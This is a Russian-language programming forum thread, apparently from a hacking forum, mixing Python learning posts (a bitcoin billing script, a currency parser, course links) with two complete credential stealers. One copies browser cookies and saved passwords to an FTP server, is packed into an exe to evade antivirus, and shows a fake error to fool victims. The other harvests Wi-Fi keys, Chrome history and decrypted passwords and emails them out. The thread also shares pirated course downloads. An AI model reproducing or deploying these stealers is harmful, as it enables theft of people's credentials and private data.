В этой теме можно задать вопрос касательно языка программирования Python.
Python — это высокоуровневый язык программирования общего назначения.
Spoiler: Мем Лурк
Завтра ищешь в интернете книжку Dive into python. Похуй если ничего не поймешь. Затем идешь на python.org и изучаешь стандартную библиотеку от корки до корки. Потом зубришь, именно, сука, вызубриваешь конвенцию по написанию питоньего кода - PEP8, чтобы от зубов отскакивало. Когда напишешь свою первую имиджборду, по пути изучив верстку на html+css, скачиваешь и изучаешь любой питоний асинхронный вебсервер, рекомендую Tornado или Gevent. Как переделаешь имиджборду, чтобы выдавала по крайней мере 5 тысяч запросов в секунду, можешь идти дальше - тебя ждет увлекательный мир хайлоада. Apache Hadoop, сверхбыстрые асинхронные key-value хранилища, MapReduce. Отсос хиккующих выблядков / просто неудачников типа рейфага или сисярп/джава-хуесосов, которые сосут х#й по жизни не заставит себя ждать и уже через пол года ты будешь получать такие суммы, что любая баба будет течь при одном упоминании твоей зарплаты.
Питон живет по адресу
![www.python.org](/proxy.php?image=https%3A%2F%2Fwww.python.org%2Fstatic%2Fopengraph- icon-200x200.png&hash=338f5ac76638ac5453f7f99d3bf07100&return_error=1)
The official home of the Python Programming Language
www.python.org
Python это язык прежде всего прикладного уровня.
Документация на ветку 2.х Python
docs.python.org
Документация на ветку 3.x Python
docs.python.org
Основное отличие ветки 2.х от ветки 3.х, что в ветке 2.х строки могут иметь тип как юникоде, так и просто иметь тип стринг. В том время как ветке 3.х все строки идут как юникоде.
Спрашиваем, помогаем друг другу.
В данном топике хочу рассказать о своих потугах написать на питоне биллинг для практически любого проекта на основе bitcoin.
Материал сырой, кодер я не супер, поэтому критика принимается.
Поехали...
Первое что нам понадобится - сервер. Я использовал debian linux (свой любимый) 64 bit.
Нам для старта понадобится скачать оффициальный клиент bitcoin. Download page
Скачиваем клиент, распаковываем в произвольную папку пользователя.
В моем случае используется /home/usr/bitcoind
Переходим в папку bin/64/
Запускаем ./bitcoind
Все что необходимо он уже создал. Далее нам предстоит настроить данный софт.
Пишем в консоль killall bitcoind
Идем по адресу /home/usr/.bitcoin
И создаем тут файл конфигурации. mcedit bitcoin.conf
Я использовал следующие настройки:
Code:Copy to clipboard
daemon=1
gen=0
#proxy=127.0.0.1:9050
dns=1
upnp=1
noirc=1
server=1
rpcuser=usr
rpcpassword=fake_passwords
rpcport=8455
rpctimeout=30
paytxfee=0.0002
addnode=69.207.126.238:8333
addnode=73.189.41.65:8333
addnode=69.65.67.66:8333
connect=69.207.126.238:8333
connect=73.189.41.65:8333
connect=69.65.67.66:8333
Возвращаемся в папку /home/usr/bitcoind/bin/64
Стартуем демон снова ./bitcoind
Все. Наш клиент стал демоном и начал синхронизировать блоки.
Для любопытных - вторая строка - это настройка работы биткоин через сеть тор.
У меня на сервере он установлен, но для ускорения синхронизации не
используется.
Далее примем за аксиому тот момент, что я сам пишу софт и отталкиваюсь от того что мне в голову стукнет. А мои клиенты все определяются по jabber аккаунту.
Я создаю следующие папки:
/home/usr/bitcoind/src/
/home/usr/bitcoind/src/db/
Выставляю права 777 на папку db. Это важно.
И создаем следующие файлы:
cat>btc.log
chmod 777 btc.log
mcedit btc.py
Code:Copy to clipboard
#!/usr/bin/env python
#-*- coding: utf-8 -*-
# ----------------------------------------------------------
# coded by ar3s
# How to use: python btc-e.py
# Profit!
# ----------------------------------------------------------
import os
import sys
import time
import json
import base64
import hashlib
import urllib2
import datetime
import socket
import sqlite3
import subprocess
from Crypto.Cipher import AES # encryption library
#system
os.system('clear')
#sqlite
conn = sqlite3.connect('db/base.db')
conn.isolation_level = None
conn.text_factory = str
#crypt
BLOCK_SIZE = 32
PADDING = '{'
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
cipher = AES.new('Jns70wJnc92LmaTw')
def log(log):
if (len(log) != 0):
now = datetime.datetime.now()
f = open('btc.log', 'a')
f.write(str(now.day)+"."+str(now.month)+"."+str(now.year)+" "+str(now.hour)+":"+str(now.minute)+":"+str(now.second)+" - "+log+"\n")
f.close()
else:
print "enter a log data"
def rate():
response = urllib2.urlopen(urllib2.Request(url='https://btc-e.com/api/2/btc_usd/ticker'))
objFromJSON = json.loads(response.read())
ticker = objFromJSON['ticker']
return format(ticker['last'])
def bitcoin(cmd, jid):
if (cmd == "bal"):
try:
cmd = './bitcoind getbalance'
PIPE = subprocess.PIPE
p = subprocess.Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=subprocess.STDOUT, close_fds=True, cwd='/home/usr/bitcoind/bin/64/')
bal = p.stdout.read()
bal = float(bal.replace('\n',''))
return bal
except:
print "bitcoind not respond a ballance"
if (cmd == "add"):
try:
cmd = './bitcoind getnewaddress '+jid
PIPE = subprocess.PIPE
p = subprocess.Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=subprocess.STDOUT, close_fds=True, cwd='/home/usr/bitcoind/bin/64/')
btc = p.stdout.read()
btc = btc.replace('\n','')
except:
print "bitcoind not respond a BTC address"
return btc
if (cmd == "pars"):
ball = 0.0
account = ""
try:
cmd = './bitcoind listaccounts'
PIPE = subprocess.PIPE
p = subprocess.Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=subprocess.STDOUT, close_fds=True, cwd='/home/usr/bitcoind/bin/64/')
btc = p.stdout.read()
# сделать парсинг не нулевых баллансов и возврат имени и суммы в запрос
except:
log("bitcoind send not finished")
return account, ball
def sql(query):
#--------------------------
# Коннектимся к Базе данных
#--------------------------
connection = 0
try:
#conn = sqlite3.connect(":memory:")
cur = conn.cursor()
connection = 1
except sqlite3.Error:
connection = 0
log("Соединение с БД НЕ установлено!!!")
if ((query=='def') and (connection == 1)):
#print "Исполняем def запрос"
try:
cur.execute("Select * from user")
conn.commit()
#print "DEF запрос прошел успешно"
except:
print 'db not issue. Creating.'
cur.execute('''CREATE TABLE [user] ([id] INTEGER NOT NULL ON CONFLICT ABORT PRIMARY KEY ON CONFLICT ABORT AUTOINCREMENT, [jid] CHAR NOT NULL ON CONFLICT ABORT, [btc] CHAR NOT NULL ON CONFLICT ABORT, [ballance] FLOAT NOT NULL ON CONFLICT ABORT DEFAULT 0)''')
cur.execute("insert into user values (null,'ar3s@dlab.im','FakeAddress','0')")
conn.commit()
if ((query != 'def') and (connection == 1)):
#print "Исполняем запрос на пользователя"
# Тут проверяем имеется ли такой пользователь
btc = ""
jid = query
#print "Проверка по БД"
try:
cur.execute("select btc from user where jid=?",(jid,))
conn.commit()
except:
print "BAD sql query in section select BTC from DB"
#print "Парсим результат"
data = cur.fetchall()
if (len(data) != 0):
#print "Вошли в проверку"
adr = str(data[0])
adr = adr.split("'")
btc = adr[1]
#print btc
#print "Распарсили"
else:
# если ответ нулевой - то создаем пользователя
btc = bitcoin("add", jid)
print "Добавляем пользователя "+jid+":"+btc+"\n"
try:
cur.execute("insert into user values (null,?,?,'0')",(jid,btc,))
conn.commit()
except:
print "Error in sql query for add user in DB"
return btc
def crypt(msg):
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
encoded = EncodeAES(cipher, msg)
return encoded
def decrypt(msg):
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
decoded = DecodeAES(cipher, msg)
return decoded
def main():
#-------------------------------
# Тест записи в лог
log("start")
#-------------------------------
# Читаем курс
kurs = rate()
print "Текущий курс BTC=>USD:"+kurs
log("Текущий курс BTC=>USD:"+kurs)
#-------------------------------
# читаем наш балланс из демона
bal = bitcoin("bal", "")
print "Текущий балланс кошельков:"+str(bal)
log("Текущий балланс кошельков:"+str(bal))
if (bal > 0):
account, ball = bitcoint("pars", "")
# тут сделать зачисление на балланс и отправку мне на кош
#-------------------------------
# Инициализируем БД
sql("def")
log("Инициализируем БД")
#-------------------------------
# инициализируем чтение сокета
try:
sock = socket.socket()
sock.bind(('', 4563))
sock.listen(1)
except Exception as e:
log("Не могу открыть сокет: %s" % e)
sys.exit()
while True:
srv, addr = sock.accept()
log("Socket opened: %s" % str(addr))
data = srv.recv(1024)
data = decrypt(data)
if data == 'PPDvtmw1POWFSkwmNH61WF0Vlhvhq5Gc':
log("Проверка ключа прошла успешно")
srv.send(crypt('true'))
data = '' # обнуляем данные от прошлого запроса
while 1: # ждем запрос от клиента
data = srv.recv(1024)
if data:
break
jid = decrypt(data)
if jid:
print jid
btc = sql(jid)
print "user "+jid+" : "+ btc
srv.send(crypt(btc))
log("Answer sendet")
else:
srv.send("error!")
log("!!! Проверка ключа НЕ прошла")
srv.close()
# start main function
if __name__ == '__main__':
main()
#--------------------------------------------------------------------------------------------------------------
# Happy end!
#--------------------------------------------------------------------------------------------------------------
Протокол запросов идет у нас шифрованным. Ключ один, но можно использовать два. Один от клиента второй от сервера.
Принцип работы прост. Есть демон и есть бд. Что бы не дергать демон каждый раз я записываю данные в БД. Сделал специально на sqlite для большей портабельности.
Код клиента:
Code:Copy to clipboard
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#http://stackoverflow.com/questions/2490334/simple-way-to-encode-a-string-according-to-a-password
import socket
import base64
import hashlib
from Crypto.Cipher import AES # encryption library
BLOCK_SIZE = 32
PADDING = '{'
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
cipher = AES.new('Jns70wJnc92LmaTw')
def crypt(msg):
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
encoded = EncodeAES(cipher, msg)
return encoded
def decrypt(msg):
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
decoded = DecodeAES(cipher, msg)
return decoded
sock = socket.socket()
sock.connect(('127.0.0.1', 4563))
sock.send(crypt('PPDvtmw1POWFSkwmNH61WF0Vlhvhq5Gc'))
data = sock.recv(1024)
data = decrypt(data)
print data
if (data == 'true'):
sock.send(crypt('new_user@server.im'))
data = sock.recv(1024)
data = decrypt(data)
print data
sock.close()
Клиент первым делом шифрует ключевую фразу и шлет серверу. Если все ок - сервер отвечает шифрованным true. Ну и дальше идет запрос на клиента (отправляем жабу или мыло), ответ BTC адрес.
В данный момент чего не доделал:
1. определение у кого какой балланс
2. отправку комманды на пополнение балланса в панель клиента
3. перекидывание денег с сервака биллинга мне на кош.
Написано данное чудо просто от балды. От большого нехер делать и может быть кому-то полезно. Жду реакции и критики кода. А так же желающих доработать данное творчество.
Всем привет, это моя первая статья, сразу хочу сказать)
Напишем сегодня стиллер на пайтоне, и запакуем его в exe, чтоб он не палился антивирусами, по моим данным ( 1/67 )
Начнем с самого простого, это подключение библиотек
Python:Copy to clipboard
import os.path
import getpass
from ftplib import FTP
import random
con = FTP("хост","логин","пароль")
И напоследок мы подключаемся по ftp по логину паролю и хосту.
Теперь перейдем к более интересным вещам, чем просто библиотеки, мы напишем уже сами пути к директориям, где лежат наши пароли, а пароли мы будем воровать(в учеб.целях) из браузеров - Opera, Yandex, Google Chrome
Итак, вот код, пишем его, далее будем его разбирать
Python:Copy to clipboard
UserName = '\\' + getpass.getuser()
dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"
dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
UserName - принимает значения имя текущего пользователя
dir_cookie_google, dir_pass_google, ...., ... - и т.д. Это все директории где хранятся пароли, нам интерестны именно эти 3 браузера. Будем забирать пароли и куки и перекидывать их себе на сервер по FTP. Потом открывать в sqlite manager, но об этом позже....
У нас имеются директории, у нас есть библиотеки, для работы, что же дальше? Думаю пора приступать к основном задаче, это написание непосредственно стиллера.
Вот код, вы пока напишите его, а я вам потом расскажу о нем ))
Python:Copy to clipboard
dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox"
dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex"
dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software"
def check():
if (os.path.exists(dir_google)) == True:
filename = "google"+str(random.randint(1, 10000))
filename2 = "google_pass" + str(random.randint(1, 10000))
with open(dir_cookie_google, "rb") as content:
con.storbinary("STOR %s" % filename, content)
with open(dir_pass_google, "rb") as content:
con.storbinary("STOR %s" % filename2, content)
if (os.path.exists(dir_opera)) == True:
filename = "opera"+str(random.randint(1, 10000))
filename2 = "opera_pass" + str(random.randint(1, 10000))
with open(dir_cookie_opera, "rb") as content:
con.storbinary("STOR %s" % filename, content)
with open(dir_pass_opera, "rb") as content:
con.storbinary("STOR %s" % filename2, content)
if (os.path.exists(dir_yandex)) == True:
filename = "yandex"+str(random.randint(1, 10000))
filename2 = "yandex_pass" + str(random.randint(1, 10000))
with open(dir_cookie_yandex, "rb") as content:
con.storbinary("STOR %s" % filename, content)
with open(dir_pass_yandex, "rb") as content:
Код получился не маленький, что есть то есть. Рассмотрим первые строчки, в начале до функции мы записываем в переменные адреса наших директорий, для последующей проверки на валидность. Зачем это нужно? спросите вы меня, да просто так проще! Зачем ставить try, except если можно проверить на валидность с помощью os.path.exits.
Далее у нас идет функция, со множествами if , тут ничего ничего сложного нету, все просто:
Python:Copy to clipboard
if (os.path.exists(dir_google)) == True:
filename = "google"+str(random.randint(1, 10000))
filename2 = "google_pass" + str(random.randint(1, 10000))
with open(dir_cookie_google, "rb") as content:
con.storbinary("STOR %s" % filename, content)
with open(dir_pass_google, "rb") as content:
con.storbinary("STOR %s" % filename2, content)
Мы проверяем является ли директория валидной, а после уже открываем ее, и отправляем файл на наш сервер FTP. Такс..., функцию написали, библиотеки подключили, директории есть, что не хватает? Думаю не хватает задействовать функцию и вывести на экран какую нибудь псевдо-ошибку, что мол библиотека не подключена и все дела.. Будем действовать по такой схеме))
Вот код, объяснять тут думаю нечего:
Python:Copy to clipboard
check()
print("Error library import HOUII.dll")
print("Error RUN cheat")
input()
НО, я все же расскажу, первая строка - вызываем функцию, которая ворует пароли.
Далее мы выводим сообщения об якобы ошибке которой на деле и нет, что бы пользователь думал что это у него проблемы какие то. И что программа не зловредная, а наоборот, пыталась помочь. но как оказалось библиотеки видите ли у него нет))
Вот и весь код, ниже он целиком:
Python:Copy to clipboard
import os.path
import getpass
from ftplib import FTP
import random
con = FTP("хост","логин","пароль")
"""
Hack to directory
"""
UserName = '\\' + getpass.getuser()
dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"
dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox"
dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex"
dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software"
def check():
if (os.path.exists(dir_google)) == True:
filename = "google"+str(random.randint(1, 10000))
filename2 = "google_pass" + str(random.randint(1, 10000))
with open(dir_cookie_google, "rb") as content:
con.storbinary("STOR %s" % filename, content)
with open(dir_pass_google, "rb") as content:
con.storbinary("STOR %s" % filename2, content)
if (os.path.exists(dir_opera)) == True:
filename = "opera"+str(random.randint(1, 10000))
filename2 = "opera_pass" + str(random.randint(1, 10000))
with open(dir_cookie_opera, "rb") as content:
con.storbinary("STOR %s" % filename, content)
with open(dir_pass_opera, "rb") as content:
con.storbinary("STOR %s" % filename2, content)
if (os.path.exists(dir_yandex)) == True:
filename = "yandex"+str(random.randint(1, 10000))
filename2 = "yandex_pass" + str(random.randint(1, 10000))
with open(dir_cookie_yandex, "rb") as content:
con.storbinary("STOR %s" % filename, content)
with open(dir_pass_yandex, "rb") as content:
con.storbinary("STOR %s" % filename2, content)
check()
print("Error library import HOUII.dll")
print("Error RUN cheat")
input()
У нас есть код, но он на пайтоне, как же его эксплуатировать на чужом ПК?
Думаю ответ очевиден - pyinstaller
Давайте скачаем его:
Bash:Copy to clipboard
pip install pyinstaller
Далее скомпилируем его в EXE'шник, дабы было все проще у нас ))
Bash:Copy to clipboard
pyinstaller -F <my_script>.py
Вот и все, по сути у нас есть EXE файл, который не палится антивирусами, ну разве что windows защитник может его заподозрить, все же мы ходим по директориям. Кроме того еще и отправляем файлы на какой то не понятный сервер.... НО на практике kaspersky, dr.web, и др популярные антивирусы не определяют его как вредоносное программное обеспечения, даже если ему тыкнуть носом, вот мол, смотри, давай его просканируем, может там вирусы трояны бэкдоры! он говорит - нет, там нету ничего....
Вот так вот все, всем спасибо! рад был поделится с вами своим скриптом
Автор: NNullday
Автор: Udemy
Название: Изучаем Python и взлом систем с нуля (Полный курс) (2019)
Spoiler: Описание:
Добро пожаловать в отличный курс, в котором вы одновременно научитесь и программировать на Python’e и взламывать системы. Курс разработан таким образом, что не требуются никакие предварительные знания. После прохождения курса ваш уровень владения темой будет выше среднего, и вы сможете использовать оба полученных навыка. Вы научитесь писать свои собственные программы для взлома компьютеров на Python’e, мы напишем программы, которые реальные хакеры используют для взлома систем, но это еще не все. Вы так же сможете использовать полученные навыки программирования на Python’e для написания любых программ , даже тех, которые никак не связаны со взломом систем.
В этом курсе огромный акцент идет на практику, однако мы не жертвуем теорией. Мы начнем с рассмотрения базовых концептов, познакомимся с тем, что такое этичных взлом и что из себя представляет язык программирования Python, установим необходимые программы и сразу после этого мы приступим к программированию. С этого момента вы начнете учиться непосредственно на примерах , мы будем писать хакерские программы, все наши программы будут довольно интересными, мы не будем тратить время на скучные типовые задания, которых довольно много в различных учебных пособиях.
Курс разделен по целям на несколько разделов. Обычно цель – взломать определенную систему. Мы начнем с изучения того, как работает система, ее слабостей. Мы будем изучать программирование на Python’e во время практики, по одной теме за раз, таким образом к концу курса в вашем «портфеле» будет довольно много самостоятельно написанных хакерских программ. Это будут бэкдоры, килоггеры, программы для угона учетных данных, инструменты для взлома сетей, инструменты для взлома веб-сайтов и многое другое. Помимо всего этого у вас будет глубокое понимание того, как работают компьютерные системы, как моделировать проблемы, как подходить к разработке алгоритма для решения проблем и как реализовать задуманное с помощью Python’a.
Как я говорил ранее, в этом курсе вы научитесь писать программы на Python’e и изучите, что такое этичный взлом и как тестировать системы на проникновение. Далее идет краткий список тем, о которых пойдет речь в этом курсе:
Spoiler: Темы, посвященные программированию:
Spoiler: Темы, посвященные взлому:
Spoiler: Программы, которые вы напишите в этом курсе:
Spoiler: Во время написания приложений, вы изучите следующие темы:
После прохождения этого курса вы будете обладать достаточными навыками в программировании для того, чтобы писать любые программы, даже если они никак не связаны с хакингом, но при всем этом мы будем учиться программировать разрабатывая хакерские инструменты!
Spoiler: Целевая аудитория:
[CLIKE]
Облако Mail.ru - это ваше персональное надёжное хранилище в интернете.
![cloud.mail.ru](/proxy.php?image=https%3A%2F%2Fimg.imgsmail.ru%2Fcloud%2Fimg%2Fbuild%2Frelease- cloudweb-13624-103-0-0.202206271149%2Ffavicon.ico&hash=2ea9ab109046eae0fd11ea523157c3c9&return_error=1) cloud.mail.ru
[/CLIKE]
[Udemy.com] Полный Курс Python: С Нуля До Героя - Часть 1,2,3,4,5,6,7,8,9
Code:Copy to clipboard
Автор: Jose Portilla, Pierian Data International
Формат: Видео
Продолжительность: 12.5 Часов
Тип перевода: Русская озвучка
Описание Курса:
Станьте программистом на Python и изучите один из самых востребованных навыков!
Это наиболее полный курс по языку программирования Ptyhon на Udemy! Если ранее вы никогда не занимались программированием, знаете базовый синтаксис, или хотите изучить продвинутые возможности Python, то этот курс для Вас! В этом курсе мы обучим Вас обеим версиям Python (2 и 3) , чтобы вы легко смогли адаптировать свои навыки к любой версии!
С более чем десятью часами видео , этот всеобъемлющий курс не оставит камня на камне! Этот курс выключает в себя викторины, тесты и домашние задания, а также 3 крупных проекта для создания своего портфолио!
Этот курс на практике обучит Вас программированию Python, с каждой лекцией идет полный скринкаст и соответствующий код! Учитесь как Вам удобнее!
Мы начнем с того, что поможем Вам установить Python на Ваш компьютер, независимо от вашей операционной системы, будь то Linux, MacOS или Windows.
**Так чего же ты ждешь? Изучи Python, чтобы продвинуть свою карьеру и расширить свои знания, веселым и практичным способом!
Чему я научусь?**
Целевая Аудитория?
Требования?
Содержание 1 части:
Содержание 2 части:
Содержание 3 части:
Содержание 4 части:
Содержание5 части** :**
Содержание 6 части:
Содержание7 части:****
Содержание8 части:****
Содержание9 части:****
Hidden content for authorized users.
](https://drive.google.com/open?id=1s00ZQ9SMTeRVBZNZ0e7gUlLxyjvW07Ye)
drive.google.com
Пароль: xss.is
Добрый день
Подскажите пожалуйста, с чего начать изучать язык программирования Python?
Форумы, книги, курсы и т.п
Заранее огромное спасибо
Парсер - это программа которая собирает данные с интернета, анализирует их и
выдает в нужном формате.
В этом уроке мы напишем парсер, который будет отслеживать курс доллара.
Использовать будем python (один из лучших языков программирования для работы с
информацией).
Для начала нужно скачать библиотеки (введите код ниже в коммандной строке)
Code:Copy to clipboard
pip install requests
pip install bs4
requests - библиотека для получения кода веб сайта (информация о курсе есть в
коде веб страницы)
bs4 - библиотека для работы с HTML, CSS кодом (с помощью него мы будем искать
в коде нужную нам информацию)
Создаём файл dollar.py (можете назвать его по-другому) и имртируем все нужные библиотеки:
Python:Copy to clipboard
import requests
from bs4 import BeautifulSoup
Парсить будем с сайта investing.com, поэтому нужно сохранить URL страницы с курсом доллара (https://ru.investing.com/currencies/usd-rub) в виде переменной
Python:Copy to clipboard
# import ...
URL = 'https://ru.investing.com/currencies/rub-usd'
Также сначала нужно узнать свой User Agent. Просто введите в google "my user agent" и скопируйте строку в переменную:
Python:Copy to clipboard
# import ...
# URL ...
HEADERS = {'user-agent' : '*ваш user agent*'}
Теперь нам нужно получить код страницы:
Python:Copy to clipboard
# ...
page = requests.get (URL, headers = HEADERS)
Переходим на сайт и нажимаем Ctrl+Shift+I. Теперь мы видим код страницы прямо в браузере. Нажимаем на кнопку слева сверху (для выбора элемента на странице) и выбираем текст с курсом доллара (если мы будем знать, где в коде находится текст с курсом доллара, мы можем каждый раз обращаться к этой части кода и выводить этот текст). Узнаём, что курс храниться в теге с id равным "late- late". Теперь создадим переменную soup, чтобы найти тег с нужным нам id:
Code:Copy to clipboard
# ...
# page.content - код страницы
soup = BeautifulSoup (page.content, 'html.parser')
currency = soup.find (id = 'late-late') # находим тег с id 'late-late' (в этом теге хранится курс доллара)
print (currency.text) # выводим текст, хранящийся в этом теге
Вот весь код парсера:
Python:Copy to clipboard
import requests
from bs4 import BeautifulSoup
URL = 'https://ru.investing.com/currencies/usd-rub'
HEADERS = {'user-agent' : '*ваш user agent*'}
page = requests.get (URL, headers = HEADERS)
soup = BeautifulSoup (page.content, 'html.parser')
currency = soup.find (id = 'late-late').text
print (currency)
Python:Copy to clipboard
from requests_html import HTMLSession
session = HTMLSession()
session.proxies = { 'http': 'socks5h://<proxy>', 'https': 'socks5h://<proxy>' }
session.headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0' }
request = session.get(<url>)
session.close()
request.html.render() # драйвер для JS
request.html.html #Получаем контент)
[CLIKE]
Python:Copy to clipboard
#!/usr/bin/python
import smtplib
import base64, os, sys, re
import sqlite3
import socket
import platform
import uuid
sender = ''
reciever = ''
password = ''
# Dont change this
marker = "Joynses"
def wifipass():
def get_wlans():
data = os.popen("netsh wlan show profiles").read()
wifi = re.compile("All User Profile\s*:.(.*)")
return wifi.findall(data)
def get_pass(network):
try:
wlan = os.popen("netsh wlan show profile "+str(network.replace(" ","*"))+" key=clear").read()
pass_regex = re.compile("Key Content\s*:.(.*)")
return pass_regex.search(wlan).group(1)
except:
return " "
f = open("wifi.txt","w")
for wlan in get_wlans():
f.write("-----------\n"+" SSID : "+wlan + "\n Password : " + get_pass(wlan))
f.close()
wifipass()
################ CHROME ################
################ CODE ################
################ HERE ################
def history():
import operator
from collections import OrderedDict
#import matplotlib.pyplot as plt
def parse(url):
try:
parsed_url_components = url.split('//')
sublevel_split = parsed_url_components[1].split('/', 1)
domain = sublevel_split[0].replace("www.", "")
return domain
except IndexError:
print ("URL format error!")
def analyze(results):
b=open("chrome1.txt","w")
for site, count in sites_count_sorted.items():
#print site, count
b.write(site + "\n")
#path to user's history database (Chrome)
b.close()
data_path = os.path.expanduser('~')+r"\AppData\Local\Google\Chrome\User Data\Default"
files = os.listdir(data_path)
history_db = os.path.join(data_path, 'history')
#querying the db
c = sqlite3.connect(history_db)
cursor = c.cursor()
select_statement = "SELECT urls.url, urls.visit_count FROM urls, visits WHERE urls.id = visits.url;"
cursor.execute(select_statement)
results = cursor.fetchall()
sites_count = {}
for url, count in results:
url = parse(url)
if url in sites_count:
sites_count[url] += 1
else:
sites_count[url] = 1
sites_count_sorted = OrderedDict(sorted(sites_count.items(), key=operator.itemgetter(1), reverse=True))
analyze (sites_count_sorted)
################ CHROME ################
################ CODE ################
################ HERE ################
history()
def chrome():
import os,sqlite3,win32crypt
data=os.path.expanduser('~')+r"\AppData\Local\Google\Chrome\User Data\Default\Login Data"
connection = sqlite3.connect(data)
cursor = connection.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
final_data=cursor.fetchall()
a=open("chrome.txt","w")
a.write("Extracted chrome passwords :\n")
for website_data in final_data:
password = win32crypt.CryptUnprotectData(website_data[2], None, None, None, 0)[1]
one="Website : "+str(website_data[0])
two="Username : "+str(website_data[1])
three="Password : "+str(password)
a.write(one+"\n"+two+"\n"+three)
a.write("\n"+"====="*10+"\n")
a.close()
chrome()
################ EMAIL ################
################ CODE ################
################ HERE ################
filename = "wifi.txt"
fo = open(filename, "rb")
filecontent = fo.read()
encodedcontent = base64.b64encode(filecontent)
body = """
New stuff info from victim
"""
part1 = """From: Victim <>
To: Filip <>
Subject: Victim wifi
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
""" % (marker, marker)
part2 = """Content-Type: text/plain
Content-Transfer-Encoding:8bit
%s
--%s
""" % (body,marker)
part3 = """Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s
%s
--%s--
""" %(filename, filename, encodedcontent, marker)
message = part1 + part2 + part3
try:
smtpObj = smtplib.SMTP('smtp.gmail.com:587')
smtpObj.starttls()
smtpObj.login(sender, password)
smtpObj.sendmail(sender, reciever, message)
fo.close()
os.remove("wifi.txt")
except Exception:
print ("Error: unable to send email")
#################################################
filename = "chrome1.txt"
fo1 = open(filename, "rb")
filecontent = fo1.read()
encodedcontent = base64.b64encode(filecontent)
body = """
New stuff info from victim - History
"""
part1 = """From: Victim <>
To: Filip <>
Subject: Victim chrome history
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
""" % (marker, marker)
part2 = """Content-Type: text/plain
Content-Transfer-Encoding:8bit
%s
--%s
""" % (body,marker)
part3 = """Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s
%s
--%s--
""" %(filename, filename, encodedcontent, marker)
message = part1 + part2 + part3
try:
smtpObj = smtplib.SMTP('smtp.gmail.com:587')
smtpObj.starttls()
smtpObj.login(sender, password)
smtpObj.sendmail(sender, reciever, message)
#print "Successfully sent email"
fo1.close()
os.remove("chrome1.txt")
except Exception:
print ("Error: unable to send email")
###########################################
filename = "chrome.txt"
fo = open(filename, "rb")
filecontent = fo.read()
encodedcontent = base64.b64encode(filecontent)
body = """
New stuff info from victim
===========================
Name: %s
FQDN: %s
System Platform: %s
Machine: %s
Node: %s
Platform: %s
Pocessor: %s
System OS: %s
Release: %s
Version: %s
""" % (socket.gethostname(), socket.getfqdn(), sys.platform,platform.machine(),platform.node(),platform.platform(),platform.processor(),platform.system(),platform.release(),platform.version()) ###########
part1 = """From: Victim <>
To: Filip <>
Subject: Victim saved pass
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary=%s
--%s
""" % (marker, marker)
part2 = """Content-Type: text/plain
Content-Transfer-Encoding:8bit
%s
--%s
""" % (body,marker)
part3 = """Content-Type: multipart/mixed; name=\"%s\"
Content-Transfer-Encoding:base64
Content-Disposition: attachment; filename=%s
%s
--%s--
""" %(filename, filename, encodedcontent, marker)
message = part1 + part2 + part3
try:
smtpObj = smtplib.SMTP('smtp.gmail.com:587')
smtpObj.starttls()
smtpObj.login(sender, password)
smtpObj.sendmail(sender, reciever, message)
fo.close()
os.remove("chrome.txt")
except Exception:
print ("Error: unable to send email")
[/CLIKE]
Стиллер с отправкой паролей на электронную почту. Очень прост в использовании
Создайте файл с расширением .py, затем вставьте туда мой код
И измените все 3 параметра на свои: отправитель = 'Login@gmail.com'
